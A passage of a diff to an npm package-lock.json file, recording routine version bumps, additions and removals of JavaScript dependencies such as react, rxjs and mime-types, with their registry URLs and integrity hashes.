+ "har-validator": "5.1.0",
+ "http-signature": "1.2.0",
"is-typedarray": "1.0.0",
"isstream": "0.1.2",
"json-stringify-safe": "5.0.1",
- "mime-types": "2.1.18",
- "oauth-sign": "0.8.2",
- "performance-now": "0.2.0",
- "qs": "6.4.0",
+ "mime-types": "2.1.19",
+ "oauth-sign": "0.9.0",
+ "performance-now": "2.1.0",
+ "qs": "6.5.2",
"safe-buffer": "5.1.2",
- "stringstream": "0.0.6",
- "tough-cookie": "2.3.4",
+ "tough-cookie": "2.4.3",
"tunnel-agent": "0.6.0",
"uuid": "3.3.2"
}
@@ -11941,13 +11948,6 @@
"version": "4.0.1",
"bundled": true
},
- "sntp": {
- "version": "1.0.9",
- "bundled": true,
- "requires": {
- "hoek": "2.16.3"
- }
- },
"socks": {
"version": "2.2.0",
"bundled": true,
@@ -12032,21 +12032,15 @@
"version": "1.14.2",
"bundled": true,
"requires": {
- "asn1": "0.2.3",
+ "asn1": "0.2.4",
"assert-plus": "1.0.0",
"bcrypt-pbkdf": "1.0.2",
"dashdash": "1.14.1",
- "ecc-jsbn": "0.1.1",
+ "ecc-jsbn": "0.1.2",
"getpass": "0.1.7",
"jsbn": "0.1.1",
"safer-buffer": "2.1.2",
"tweetnacl": "0.14.5"
- },
- "dependencies": {
- "assert-plus": {
- "version": "1.0.0",
- "bundled": true
- }
}
},
"ssri": {
@@ -12113,10 +12107,6 @@
"version": "1.0.0",
"bundled": true
},
- "stringstream": {
- "version": "0.0.6",
- "bundled": true
- },
"strip-ansi": {
"version": "3.0.1",
"bundled": true,
@@ -12140,7 +12130,7 @@
}
},
"tar": {
- "version": "4.4.4",
+ "version": "4.4.6",
"bundled": true,
"requires": {
"chownr": "1.0.1",
@@ -12190,9 +12180,10 @@
"bundled": true
},
"tough-cookie": {
- "version": "2.3.4",
+ "version": "2.4.3",
"bundled": true,
"requires": {
+ "psl": "1.1.29",
"punycode": "1.4.1"
}
},
@@ -12285,7 +12276,7 @@
"bundled": true
},
"validate-npm-package-license": {
- "version": "3.0.3",
+ "version": "3.0.4",
"bundled": true,
"requires": {
"spdx-correct": "3.0.0",
@@ -12306,12 +12297,6 @@
"assert-plus": "1.0.0",
"core-util-is": "1.0.2",
"extsprintf": "1.3.0"
- },
- "dependencies": {
- "assert-plus": {
- "version": "1.0.0",
- "bundled": true
- }
}
},
"wcwidth": {
@@ -12639,9 +12624,9 @@
"dev": true
},
"opn": {
- "version": "5.3.0",
- "resolved": "https://registry.npmjs.org/opn/-/opn-5.3.0.tgz",
- "integrity": "sha512-bYJHo/LOmoTd+pfiYhfZDnf9zekVJrY+cnS2a5F2x+w5ppvTqObojTP7WiFG+kVZs9Inw+qQ/lw7TroWwhdd2g==",
+ "version": "5.4.0",
+ "resolved": "https://registry.npmjs.org/opn/-/opn-5.4.0.tgz",
+ "integrity": "sha512-YF9MNdVy/0qvJvDtunAOzFw9iasOQHpVthTCvGzxt61Il64AYSGdK+rYwld7NAfk9qJ7dt+hymBNSc9LNYS+Sw==",
"dev": true,
"requires": {
"is-wsl": "1.1.0"
@@ -12734,12 +12719,24 @@
"object-assign": "4.1.1"
}
},
+ "p-defer": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/p-defer/-/p-defer-1.0.0.tgz",
+ "integrity": "sha1-n26xgvbJqozXQwBKfU+WsZaw+ww=",
+ "dev": true
+ },
"p-finally": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz",
"integrity": "sha1-P7z7FbiZpEEjs0ttzBi3JDNqLK4=",
"dev": true
},
+ "p-is-promise": {
+ "version": "1.1.0",
+ "resolved": "http://registry.npmjs.org/p-is-promise/-/p-is-promise-1.1.0.tgz",
+ "integrity": "sha1-nJRWmJ6fZYgBewQ01WCXZ1w9oF4=",
+ "dev": true
+ },
"p-limit": {
"version": "1.3.0",
"resolved": "https://registry.npmjs.org/p-limit/-/p-limit-1.3.0.tgz",
@@ -12801,7 +12798,7 @@
},
"readable-stream": {
"version": "2.3.6",
- "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz",
+ "resolved": "http://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz",
"integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==",
"dev": true,
"requires": {
@@ -12836,7 +12833,7 @@
},
"parse-asn1": {
"version": "5.1.1",
- "resolved": "https://registry.npmjs.org/parse-asn1/-/parse-asn1-5.1.1.tgz",
+ "resolved": "http://registry.npmjs.org/parse-asn1/-/parse-asn1-5.1.1.tgz",
"integrity": "sha512-KPx7flKXg775zZpnp9SxJlz00gTd4BmJ2yJufSc44gMCRrRQ7NSzAcSJQfifuOLgW6bEi+ftrALtsgALeB2Adw==",
"dev": true,
"requires": {
@@ -12844,7 +12841,7 @@
"browserify-aes": "1.2.0",
"create-hash": "1.2.0",
"evp_bytestokey": "1.0.3",
- "pbkdf2": "3.0.16"
+ "pbkdf2": "3.0.17"
}
},
"parse-glob": {
@@ -12962,9 +12959,9 @@
"dev": true
},
"pbkdf2": {
- "version": "3.0.16",
- "resolved": "https://registry.npmjs.org/pbkdf2/-/pbkdf2-3.0.16.tgz",
- "integrity": "sha512-y4CXP3thSxqf7c0qmOF+9UeOTrifiVTIM+u7NWlq+PRsHbr7r7dpCmvzrZxa96JJUNi0Y5w9VqG5ZNeCVMoDcA==",
+ "version": "3.0.17",
+ "resolved": "https://registry.npmjs.org/pbkdf2/-/pbkdf2-3.0.17.tgz",
+ "integrity": "sha512-U/il5MsrZp7mGg3mSQfn742na2T+1/vHDCG5/iTI3X9MKUuYUZVLQhyRsg06mCgDBTd57TxzgZt7P+fYfjRLtA==",
"dev": true,
"requires": {
"create-hash": "1.2.0",
@@ -13051,9 +13048,9 @@
"dev": true
},
"portfinder": {
- "version": "1.0.16",
- "resolved": "https://registry.npmjs.org/portfinder/-/portfinder-1.0.16.tgz",
- "integrity": "sha512-icBXCFQxzlK2PMepOM0QeEdPPFSLAaXXeuKOv5AClJlMy1oVCBrkDGJ12IZYesI/BF8mpeVco3vRCmgeBb4+hw==",
+ "version": "1.0.17",
+ "resolved": "https://registry.npmjs.org/portfinder/-/portfinder-1.0.17.tgz",
+ "integrity": "sha512-syFcRIRzVI1BoEFOCaAiizwDolh1S1YXSodsVhncbhjzjZQulhczNRbqnUl9N31Q4dKGOXsNDqxC2BWBgSMqeQ==",
"dev": true,
"requires": {
"async": "1.5.2",
@@ -13213,14 +13210,6 @@
"integrity": "sha1-4mDHj2Fhzdmw5WzD4Khd4Xx6V74=",
"dev": true
},
- "promise": {
- "version": "7.3.1",
- "resolved": "https://registry.npmjs.org/promise/-/promise-7.3.1.tgz",
- "integrity": "sha1-BktyYCsY+Q8pGSuLG8QY/9Hr078=",
- "requires": {
- "asap": "2.0.6"
- }
- },
"promise-inflight": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/promise-inflight/-/promise-inflight-1.0.1.tgz",
@@ -13241,7 +13230,7 @@
"resolved": "https://registry.npmjs.org/prop-types-extra/-/prop-types-extra-1.1.0.tgz",
"integrity": "sha512-QFyuDxvMipmIVKD2TwxLVPzMnO4e5oOf1vr3tJIomL8E7d0lr6phTHd5nkPhFIzTD1idBLLEPeylL9g+rrTzRg==",
"requires": {
- "react-is": "16.4.2",
+ "react-is": "16.5.2",
"warning": "3.0.0"
}
},
@@ -13278,19 +13267,28 @@
"psl": {
"version": "1.1.20",
"resolved": "https://registry.npmjs.org/psl/-/psl-1.1.20.tgz",
- "integrity": "sha1-NjOC8zI4iICxVeJQY0WVcIQojp0="
+ "integrity": "sha512-JWUi+8DYZnEn9vfV0ppHFLBP0Lk7wxzpobILpBEMDV4nFket4YK+6Rn1Zn6DHmD9PqqsV96AM6l4R/2oirzkgw=="
},
"public-encrypt": {
- "version": "4.0.2",
- "resolved": "https://registry.npmjs.org/public-encrypt/-/public-encrypt-4.0.2.tgz",
- "integrity": "sha512-4kJ5Esocg8X3h8YgJsKAuoesBgB7mqH3eowiDzMUPKiRDDE7E/BqqZD1hnTByIaAFiwAw246YEltSq7tdrOH0Q==",
+ "version": "4.0.3",
+ "resolved": "https://registry.npmjs.org/public-encrypt/-/public-encrypt-4.0.3.tgz",
+ "integrity": "sha512-zVpa8oKZSz5bTMTFClc1fQOnyyEzpl5ozpi1B5YcvBrdohMjH2rfsBtyXcuNuwjsDIXmBYlF2N5FlJYhR29t8Q==",
"dev": true,
"requires": {
"bn.js": "4.11.8",
"browserify-rsa": "4.0.1",
"create-hash": "1.2.0",
"parse-asn1": "5.1.1",
- "randombytes": "2.0.6"
+ "randombytes": "2.0.6",
+ "safe-buffer": "5.1.2"
+ },
+ "dependencies": {
+ "safe-buffer": {
+ "version": "5.1.2",
+ "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
+ "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==",
+ "dev": true
+ }
}
},
"pump": {
@@ -13356,15 +13354,15 @@
"dev": true
},
"querystringify": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.0.0.tgz",
- "integrity": "sha512-eTPo5t/4bgaMNZxyjWx6N2a6AuE0mq51KWvpc7nU/MAqixcI6v6KrGUKES0HaomdnolQBBXU/++X6/QQ9KL4tw==",
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.1.0.tgz",
+ "integrity": "sha512-sluvZZ1YiTLD5jsqZcDmFyV2EwToyXZBfpoVOmktMmW+VEnhgakFHnasVph65fOjGPTWN0Nw3+XQaSeMayr0kg==",
"dev": true
},
"randomatic": {
"version": "1.1.7",
"resolved": "https://registry.npmjs.org/randomatic/-/randomatic-1.1.7.tgz",
- "integrity": "sha1-x6vpzIuHwLqodrGf3oP9RkeX44w=",
+ "integrity": "sha512-D5JUjPyJbaJDkuAazpVnSfVkLlpeO3wDlPROTMLGKG1zMFNFRgrciKo1ltz/AzNTkqE0HzDx655QOL51N06how==",
"dev": true,
"optional": true,
"requires": {
@@ -13455,23 +13453,23 @@
}
},
"rc-progress": {
- "version": "2.2.5",
- "resolved": "https://registry.npmjs.org/rc-progress/-/rc-progress-2.2.5.tgz",
- "integrity": "sha1-5h0FRL+dQgjlujL8UJYhWef5UqM=",
+ "version": "2.2.6",
+ "resolved": "https://registry.npmjs.org/rc-progress/-/rc-progress-2.2.6.tgz",
+ "integrity": "sha512-73Ul9WrWf474q0ze+XblpcR8q2No0tybHt+zdGXYyQ7fUZy4b+I5dUQcoxr9UXY6W5Ele9ZsPWJWHSDz/IAOUw==",
"requires": {
"babel-runtime": "6.25.0",
"prop-types": "15.6.2"
}
},
"react": {
- "version": "16.4.2",
- "resolved": "https://registry.npmjs.org/react/-/react-16.4.2.tgz",
- "integrity": "sha512-dMv7YrbxO4y2aqnvA7f/ik9ibeLSHQJTI6TrYAenPSaQ6OXfb+Oti+oJiy8WBxgRzlKatYqtCjphTgDSCEiWFg==",
+ "version": "16.5.2",
+ "resolved": "https://registry.npmjs.org/react/-/react-16.5.2.tgz",
+ "integrity": "sha512-FDCSVd3DjVTmbEAjUNX6FgfAmQ+ypJfHUsqUJOYNCBUp1h8lqmtC+0mXJ+JjsWx4KAVTkk1vKd1hLQPvEviSuw==",
"requires": {
- "fbjs": "0.8.17",
"loose-envify": "1.3.1",
"object-assign": "4.1.1",
- "prop-types": "15.6.2"
+ "prop-types": "15.6.2",
+ "schedule": "0.5.0"
}
},
"react-addons-test-utils": {
@@ -13492,22 +13490,32 @@
}
},
"react-bootstrap": {
- "version": "0.32.1",
- "resolved": "https://registry.npmjs.org/react-bootstrap/-/react-bootstrap-0.32.1.tgz",
- "integrity": "sha512-RbfzKUbsukWsToWqGHfCCyMFq9QQI0TznutdyxyJw6dih2NvIne25Mrssg8LZsprqtPpyQi8bN0L0Fx3fUsL8Q==",
+ "version": "0.32.4",
+ "resolved": "https://registry.npmjs.org/react-bootstrap/-/react-bootstrap-0.32.4.tgz",
+ "integrity": "sha512-xj+JfaPOvnvr3ow0aHC7Y3HaBKZNR1mm361hVxVzVX3fcdJNIrfiodbQ0m9nLBpNxiKG6FTU2lq/SbTDYT2vew==",
"requires": {
- "babel-runtime": "6.25.0",
+ "@babel/runtime-corejs2": "7.1.2",
"classnames": "2.2.5",
"dom-helpers": "3.3.1",
- "invariant": "2.2.2",
- "keycode": "2.1.9",
+ "invariant": "2.2.4",
+ "keycode": "2.2.0",
"prop-types": "15.6.2",
"prop-types-extra": "1.1.0",
"react-overlays": "0.8.3",
"react-prop-types": "0.4.0",
- "react-transition-group": "2.4.0",
- "uncontrollable": "4.1.0",
+ "react-transition-group": "2.5.0",
+ "uncontrollable": "5.1.0",
"warning": "3.0.0"
+ },
+ "dependencies": {
+ "invariant": {
+ "version": "2.2.4",
+ "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz",
+ "integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==",
+ "requires": {
+ "loose-envify": "1.3.1"
+ }
+ }
}
},
"react-copy-to-clipboard": {
@@ -13537,14 +13545,14 @@
}
},
"react-dom": {
- "version": "16.4.2",
- "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-16.4.2.tgz",
- "integrity": "sha512-Usl73nQqzvmJN+89r97zmeUpQDKDlh58eX6Hbs/ERdDHzeBzWy+ENk7fsGQ+5KxArV1iOFPT46/VneklK9zoWw==",
+ "version": "16.5.2",
+ "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-16.5.2.tgz",
+ "integrity": "sha512-RC8LDw8feuZOHVgzEf7f+cxBr/DnKdqp56VU0lAs1f4UfKc4cU8wU4fTq/mgnvynLQo8OtlPC19NUFh/zjZPuA==",
"requires": {
- "fbjs": "0.8.17",
"loose-envify": "1.3.1",
"object-assign": "4.1.1",
- "prop-types": "15.6.2"
+ "prop-types": "15.6.2",
+ "schedule": "0.5.0"
}
},
"react-fa": {
@@ -13575,9 +13583,9 @@
}
},
"react-hot-loader": {
- "version": "4.3.4",
- "resolved": "https://registry.npmjs.org/react-hot-loader/-/react-hot-loader-4.3.4.tgz",
- "integrity": "sha512-LlKjtHq+RhDq9xm6crXojbkzrEvli5F4/RaeJ//XtDWrwwsAHDjEqKfZZiPCxv7gWV2cxE3YE8TXeE9BDzLqOA==",
+ "version": "4.3.11",
+ "resolved": "https://registry.npmjs.org/react-hot-loader/-/react-hot-loader-4.3.11.tgz",
+ "integrity": "sha512-T0G5jURyTsFLoiW6MTr5Q35UHC/B2pmYJ7+VBjk8yMDCEABRmCGy4g6QwxoB4pWg4/xYvVTa/Pbqnsgx/+NLuA==",
"dev": true,
"requires": {
"fast-levenshtein": "2.0.6",
@@ -13589,9 +13597,9 @@
}
},
"react-is": {
- "version": "16.4.2",
- "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.4.2.tgz",
- "integrity": "sha512-rI3cGFj/obHbBz156PvErrS5xc6f1eWyTwyV4mo0vF2lGgXgS+mm7EKD5buLJq6jNgIagQescGSVG2YzgXt8Yg=="
+ "version": "16.5.2",
+ "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.5.2.tgz",
+ "integrity": "sha512-hSl7E6l25GTjNEZATqZIuWOgSnpXb3kD0DVCujmg46K5zLxsbiKaaT6VO9slkSBDPZfYs30lwfJwbOFOnoEnKQ=="
},
"react-json-tree": {
"version": "0.11.0",
@@ -13604,9 +13612,9 @@
}
},
"react-jsonschema-form": {
- "version": "1.0.4",
- "resolved": "https://registry.npmjs.org/react-jsonschema-form/-/react-jsonschema-form-1.0.4.tgz",
- "integrity": "sha512-G9ZjsoEZoWDDCRH6ATSI5jiFbnHoyoljng8u2X3eGxhg44snzcuXLHcm6qNHmLXhPrhQ8/9zCRCI72Oo5L/tkw==",
+ "version": "1.0.5",
+ "resolved": "https://registry.npmjs.org/react-jsonschema-form/-/react-jsonschema-form-1.0.5.tgz",
+ "integrity": "sha512-idnHVkOtRDspajpc4+IfLx9gLCnqJc5zZqEqUoc7SzjSVdCRAMaxT5Qr5lPdgzb8mRcJSXaXI+qwlVfKScrLBg==",
"requires": {
"ajv": "5.5.2",
"babel-runtime": "6.26.0",
@@ -13656,7 +13664,7 @@
"dom-helpers": "3.3.1",
"prop-types": "15.6.2",
"prop-types-extra": "1.1.0",
- "react-transition-group": "2.4.0",
+ "react-transition-group": "2.5.0",
"warning": "3.0.0"
}
},
@@ -13786,14 +13794,24 @@
}
},
"react-transition-group": {
- "version": "2.4.0",
- "resolved": "https://registry.npmjs.org/react-transition-group/-/react-transition-group-2.4.0.tgz",
- "integrity": "sha512-Xv5d55NkJUxUzLCImGSanK8Cl/30sgpOEMGc5m86t8+kZwrPxPCPcFqyx83kkr+5Lz5gs6djuvE5By+gce+VjA==",
+ "version": "2.5.0",
+ "resolved": "https://registry.npmjs.org/react-transition-group/-/react-transition-group-2.5.0.tgz",
+ "integrity": "sha512-qYB3JBF+9Y4sE4/Mg/9O6WFpdoYjeeYqx0AFb64PTazVy8RPMiE3A47CG9QmM4WJ/mzDiZYslV+Uly6O1Erlgw==",
"requires": {
"dom-helpers": "3.3.1",
- "loose-envify": "1.3.1",
+ "loose-envify": "1.4.0",
"prop-types": "15.6.2",
"react-lifecycles-compat": "3.0.4"
+ },
+ "dependencies": {
+ "loose-envify": {
+ "version": "1.4.0",
+ "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz",
+ "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==",
+ "requires": {
+ "js-tokens": "3.0.2"
+ }
+ }
}
},
"read-pkg": {
@@ -13955,19 +13973,10 @@
"safe-regex": "1.1.0"
}
},
- "regexp.prototype.flags": {
- "version": "1.2.0",
- "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.2.0.tgz",
- "integrity": "sha512-ztaw4M1VqgMwl9HlPpOuiYgItcHlunW0He2fE6eNfT6E/CF2FtYi9ofOYe4mKntstYk0Fyh/rDRBdS3AnxjlrA==",
- "dev": true,
- "requires": {
- "define-properties": "1.1.3"
- }
- },
"regexpp": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/regexpp/-/regexpp-2.0.0.tgz",
- "integrity": "sha512-g2FAVtR8Uh8GO1Nv5wpxW7VFVwHcCEr4wyA8/MHiRkO8uHoR5ntAA8Uq3P1vvMTX/BeQiRVSpDGLd+Wn5HNOTA==",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/regexpp/-/regexpp-2.0.1.tgz",
+ "integrity": "sha512-lv0M6+TkDVniA3aD1Eg0DVpfU/booSu7Eev3TDO/mZKHBfVjgCGTV4t4buppESEYDtkArYFOxTJWv6S5C+iaNw==",
"dev": true
},
"regexpu-core": {
@@ -14174,7 +14183,7 @@
"resolve-pathname": {
"version": "2.2.0",
"resolved": "https://registry.npmjs.org/resolve-pathname/-/resolve-pathname-2.2.0.tgz",
- "integrity": "sha1-fpriHtgV/WOrGJre7mTcgx7vqHk="
+ "integrity": "sha512-bAFz9ld18RzJfddgrO2e/0S2O81710++chRMUxHjXOYKF6jTAMrUNZrEZ1PvV0zlhfjidm08iRPdTLPno1FuRg=="
},
"resolve-url": {
"version": "0.2.1",
@@ -14220,7 +14229,7 @@
"integrity": "sha512-lreewLK/BlghmxtfH36YYVg1i8IAce4TI7oao75I1g245+6BctqTVQiBP3YUJ9C6DQOXJmkYR9X9fCLtCOJc5w==",
"dev": true,
"requires": {
- "glob": "7.1.2"
+ "glob": "7.1.3"
}
},
"ripemd160": {
@@ -14252,26 +14261,18 @@
}
},
"rxjs": {
- "version": "5.5.11",
- "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-5.5.11.tgz",
- "integrity": "sha512-3bjO7UwWfA2CV7lmwYMBzj4fQ6Cq+ftHc2MvUe+WMS7wcdJ1LosDWmdjPQanYp2dBRj572p7PeU81JUxHKOcBA==",
+ "version": "6.3.3",
+ "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.3.3.tgz",
+ "integrity": "sha512-JTWmoY9tWCs7zvIk/CvRjhjGaOd+OVBM987mxFo+OW66cGpdKjZcpmc74ES1sB//7Kl/PAe8+wEakuhG4pcgOw==",
"dev": true,
"requires": {
- "symbol-observable": "1.0.1"
- },
- "dependencies": {
- "symbol-observable": {
- "version": "1.0.1",
- "resolved": "https://registry.npmjs.org/symbol-observable/-/symbol-observable-1.0.1.tgz",
- "integrity": "sha1-g0D8RwLDEi310iKI+IKD9RPT/dQ=",
- "dev": true
- }
+ "tslib": "1.9.3"
}
},
"safe-buffer": {
"version": "5.1.1",
"resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.1.tgz",
- "integrity": "sha1-iTMSr2myEj3vcfV4iQAWce6yyFM=",
+ "integrity": "sha512-kKvNJn6Mm93gAczWVJg7wH+wGYWNrDHdWvpUmHyEsgCtIwwo3bqPtV4tR5tuPaUhTOo/kvhVwd8XwwOllGYkbg==",
"dev": true
},
"safe-regex": {
@@ -14289,6 +14290,14 @@
"integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==",
"dev": true
},
+ "schedule": {
+ "version": "0.5.0",
+ "resolved": "https://registry.npmjs.org/schedule/-/schedule-0.5.0.tgz",
+ "integrity": "sha512-HUcJicG5Ou8xfR//c2rPT0lPIRR09vVvN81T9fqfVgBmhERUbDEQoYKjpBxbueJnCPpSu2ujXzOnRQt6x9o/jw==",
+ "requires": {
+ "object-assign": "4.1.1"
+ }
+ },
"schema-utils": {
"version": "0.4.7",
"resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-0.4.7.tgz",
@@ -14306,9 +14315,9 @@
"dev": true
},
"selfsigned": {
- "version": "1.10.3",
- "resolved": "https://registry.npmjs.org/selfsigned/-/selfsigned-1.10.3.tgz",
- "integrity": "sha512-vmZenZ+8Al3NLHkWnhBQ0x6BkML1eCP2xEi3JE+f3D9wW9fipD9NNJHYtE9XJM4TsPaHGZJIamrSI6MTg1dU2Q==",
+ "version": "1.10.4",
+ "resolved": "https://registry.npmjs.org/selfsigned/-/selfsigned-1.10.4.tgz",
+ "integrity": "sha512-9AukTiDmHXGXWtWjembZ5NDmVvP2695EtpgbCsxCa68w3c88B+alqbmZ4O3hZ4VWGXeGWzEVdvqgAJD8DQPCDw==",
"dev": true,
"requires": {
"node-forge": "0.7.5"
@@ -14381,7 +14390,7 @@
"debug": "2.6.9",
"escape-html": "1.0.3",
"http-errors": "1.6.3",
- "mime-types": "2.1.19",
+ "mime-types": "2.1.20",
"parseurl": "1.3.2"
},
"dependencies": {
@@ -14395,18 +14404,18 @@
}
},
"mime-db": {
- "version": "1.35.0",
- "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.35.0.tgz",
- "integrity": "sha512-JWT/IcCTsB0Io3AhWUMjRqucrHSPsSf2xKLaRldJVULioggvkJvggZ3VXNNSRkCddE6D+BUI4HEIZIA2OjwIvg==",
+ "version": "1.36.0",
+ "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.36.0.tgz",
+ "integrity": "sha512-L+xvyD9MkoYMXb1jAmzI/lWYAxAMCPvIBSWur0PZ5nOf5euahRLVqH//FKW9mWp2lkqUgYiXPgkzfMUFi4zVDw==",
"dev": true
},
"mime-types": {
- "version": "2.1.19",
- "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.19.tgz",
- "integrity": "sha512-P1tKYHVSZ6uFo26mtnve4HQFE3koh1UWVkp8YUC+ESBHe945xWSoXuHHiGarDqcEZ+whpCDnlNw5LON0kLo+sw==",
+ "version": "2.1.20",
+ "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.20.tgz",
+ "integrity": "sha512-HrkrPaP9vGuWbLK1B1FfgAkbqNjIuy4eHlIYnFi7kamZyLLrGlo2mpcx0bBmNpKqBtYtAfGbodDddIgddSJC2A==",
"dev": true,
"requires": {
- "mime-db": "1.35.0"
+ "mime-db": "1.36.0"
}
}
}
@@ -14461,7 +14470,8 @@
"setimmediate": {
"version": "1.0.5",
"resolved": "https://registry.npmjs.org/setimmediate/-/setimmediate-1.0.5.tgz",
- "integrity": "sha1-KQy7Iy4waULX1+qbg3Mqt4VvgoU="
+ "integrity": "sha1-KQy7Iy4waULX1+qbg3Mqt4VvgoU=",
+ "dev": true
},
"setprototypeof": {
"version": "1.1.0",
@@ -14471,7 +14481,7 @@
},
"sha.js": {
"version": "2.4.11",
- "resolved": "https://registry.npmjs.org/sha.js/-/sha.js-2.4.11.tgz",
+ "resolved": "http://registry.npmjs.org/sha.js/-/sha.js-2.4.11.tgz",
"integrity": "sha512-QMEp5B7cftE7APOjk5Y6xgrbWu+WkLVQwk8JNjZ8nKRciZaByEW6MubieAiToS7+dwvrjGhH8jRXz3MVd0AYqQ==",
"dev": true,
"requires": {
@@ -14858,7 +14868,7 @@
"dev": true,
"requires": {
"debug": "2.6.8",
- "detect-node": "2.0.3",
+ "detect-node": "2.0.4",
"hpack.js": "2.1.6",
"obuf": "1.1.2",
"readable-stream": "2.3.6",
@@ -14880,7 +14890,7 @@
},
"readable-stream": {
"version": "2.3.6",
- "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz",
+ "resolved": "http://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz",
"integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==",
"dev": true,
"requires": {
@@ -14995,7 +15005,7 @@
},
"readable-stream": {
"version": "2.3.6",
- "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz",
+ "resolved": "http://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz",
"integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==",
"dev": true,
"requires": {
@@ -15056,7 +15066,7 @@
},
"readable-stream": {
"version": "2.3.6",
- "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz",
+ "resolved": "http://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz",
"integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==",
"dev": true,
"requires": {
@@ -15172,19 +15182,6 @@
}
}
},
- "string.prototype.matchall": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/string.prototype.matchall/-/string.prototype.matchall-2.0.0.tgz",
- "integrity": "sha512-WoZ+B2ypng1dp4iFLF2kmZlwwlE19gmjgKuhL1FJfDgCREWb3ye3SDVHSzLH6bxfnvYmkCxbzkmWcQZHA4P//Q==",
- "dev": true,
- "requires": {
- "define-properties": "1.1.3",
- "es-abstract": "1.12.0",
- "function-bind": "1.1.1",
- "has-symbols": "1.0.0",
- "regexp.prototype.flags": "1.2.0"
- }
- },
"string_decoder": {
"version": "0.10.31",
"resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz",
@@ -15263,7 +15260,7 @@
},
"table": {
"version": "4.0.3",
- "resolved": "https://registry.npmjs.org/table/-/table-4.0.3.tgz",
+ "resolved": "http://registry.npmjs.org/table/-/table-4.0.3.tgz",
"integrity": "sha512-S7rnFITmBH1EnyKcvxBh1LjYeQMmnZtCXSEbHcH6S0NoKit24ZuFO/T1vDcLdYsLQkM188PVVhQmzKIuThNkKg==",
"dev": true,
"requires": {
@@ -15292,7 +15289,7 @@
"requires": {
"ansi-styles": "3.2.1",
"escape-string-regexp": "1.0.5",
- "supports-color": "5.4.0"
+ "supports-color": "5.5.0"
}
},
"has-flag": {
@@ -15302,9 +15299,9 @@
"dev": true
},
"supports-color": {
- "version": "5.4.0",
- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz",
- "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==",
+ "version": "5.5.0",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
+ "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
"dev": true,
"requires": {
"has-flag": "3.0.0"
@@ -15360,7 +15357,7 @@
},
"readable-stream": {
"version": "2.3.6",
- "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz",
+ "resolved": "http://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz",
"integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==",
"dev": true,
"requires": {
@@ -15576,11 +15573,6 @@
"integrity": "sha1-hnrHTjhkGHsdPUfZlqeOxciDB3c=",
